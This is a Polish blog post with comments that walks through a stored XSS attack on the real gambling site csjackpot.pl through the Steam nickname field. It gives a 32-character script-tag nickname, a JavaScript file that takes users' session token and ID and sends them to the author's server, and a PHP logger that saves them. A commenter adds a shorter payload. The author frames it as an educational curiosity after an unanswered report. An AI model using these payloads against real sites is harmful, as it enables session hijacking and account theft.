XSS jest techniką wykradania wrażliwych informacji poprzez umieszczenie złośliwego kodu w kodzie strony.
Próbowałem skontaktować się z administracją csjackpot.pl jednak nie uzyskałem żadnej odpowiedzi.
W przypadku csjackpot.pl tego typu informacje to cookies
- jackpot-token
- jackpot-cookies
- jackpot-login
- jackpot-nick
- jackpot-trade-url
Najważniejsza informacją dla atakującego jest oczywiście jackpot-token dzięki któremu jeśli znamy token innego użytkownika możemy zalogować się na jego konto w kilka sekund.
Strona oferuje nam logowanie poprzez steam , po zalogowaniu w górnym menu widzimy swój nick:
Ciekawe co się stanie jeśli do nick wrzucimy
<script>alert(1)</script>
.
Spróbujemy teraz zaincludować nasz kod JS’a. W nicku steam możemy umieścić tylko 32 znaki , mało , szczególnie że musimy zawrzeć w nim odrazu ciąg zamykający skrypt javascript , ponieważ przeglądarka zrobi to za mnie a ja oszczędzam ilość znaków , cóż trzeba korzystać że mamy już troche inteligentniejsze przeglądarki na naszych komputerach ;).
Kilka prób i mam dwa sposoby:
1.
<script>$.getScript('link')
2.
<script src=link>
W 1 jak i w 2 korzystam ze sztuczki z znacznikiem w drugim sposobie dodatkowo pomijam '”’ w atrybucie src ponownie przeglądarka sama wykryje link i przeparsuje go a ja oszczędzam całe dwa znaki 😉 !
Przygotujmy najpierw plik JS który chcemy wstrzyknąć
var currentToken = getToken(), userLogin = getUserID(); $.get( "http://darkgl.pl/cookies.php?cookie=" + currentToken + "&login=" + userLogin );
Jest to bardzo prosty skrypt pobiera token oraz userid i wysyła je poprzez get do skryptu php.
Skrypt jest dostępny pod linkiem
http://darkgl.pl/script.js
Skrypt php jest bardzo prosty
<!--?php file_put_contents( 'cookies.txt' , $_GET[ 'cookie' ] . ' | ' . $_GET[ 'login' ] . PHP_EOL , FILE_APPEND ); ?-->
Aby całość zadziałała musimy dodać do nagłówków serwera na którym jest plik php.
add_header Access-Control-Allow-Origin *;
Dzięki temu skrypt js może wysyłać zapytania do innego serwera dostępnego z innej domeny niż jest wykonywany skrypt.
Niestety limit 32 znaków nadal nas obowiązuje
drugi sposób tzn.
<script src="link">
daje nam 32 znaki – 13 znaków czyli 19 znaków dodatkowo musimy w linku musi być ciąg http:// czyli tracimy kolejne 7 znaków zostaje nam 12 znaków mało bardzo mało.
Poszukujmy teraz jakiegoś skracacza linków np. goo.gl niestety link wygenerowany link zawiera 13 znaków
goo.gl/PNy9w5
o 1 za dużo.
Po krótkich poszukiwaniach znalazłem serwis is.gd który wygenerował link
is.gd/ru6YiA
12 znaków , idealnie 😉 !
Cały nick który trzeba ustawić na steam to
<script src=http://is.gd/ru6YiA>
równo 32 znaki.
Po zalogowaniu się do serwisu kod HTML będzie wyglądał tak
Jak widać zapytanie get zostało wykonane informacje zostały przesłane ;).
Zmartwię teraz tych którzy chcieli robić złe rzeczy chat i inne miejsca w których jest wyświetlany nick są stripowane prawdopodobnie przy pomoc strip_tags php.
No ale token i login i tak trzeba znać żeby cokolwiek z tym zrobić
Czytaj dokładnie artykuł ,
Zmartwię teraz tych którzy chcieli robić złe rzeczy chat i inne miejsca w których jest wyświetlany nick są stripowane prawdopodobnie przy pomoc strip_tags php.
Jeśli uważasz że opublikował bym publicznie coś co mogło by spowodować straty finansowe u zwykłych użytkowników to niestety mylisz się 😉 , tak więc jest to ciekawostka , artykuł dla ciekawskich którzy chcą się czegoś nauczyć 😉
„musi być ciąg http://”
Nieprawda, można to zredukować do dwóch znaków, mianowicie //
🙂
Dzięki ! Zawsze można nauczyć się czegoś nowego 😉
Co mógłbym poradzić gdy po wygraniu zdarzył mi sie błąd mianowicie odrazu po zalogowaniu wylogowuje mnie ??
Prosze o szybką odpowiedz
w tym serwisie ?
Tak
Jest to pytanie raczej do właścicieli serwisu 😉
Pisałem do jechać parę E-mail na fb o nigdzie nie odpisuje to szukam jakiegoś sposobu na odzyskanie moich skinow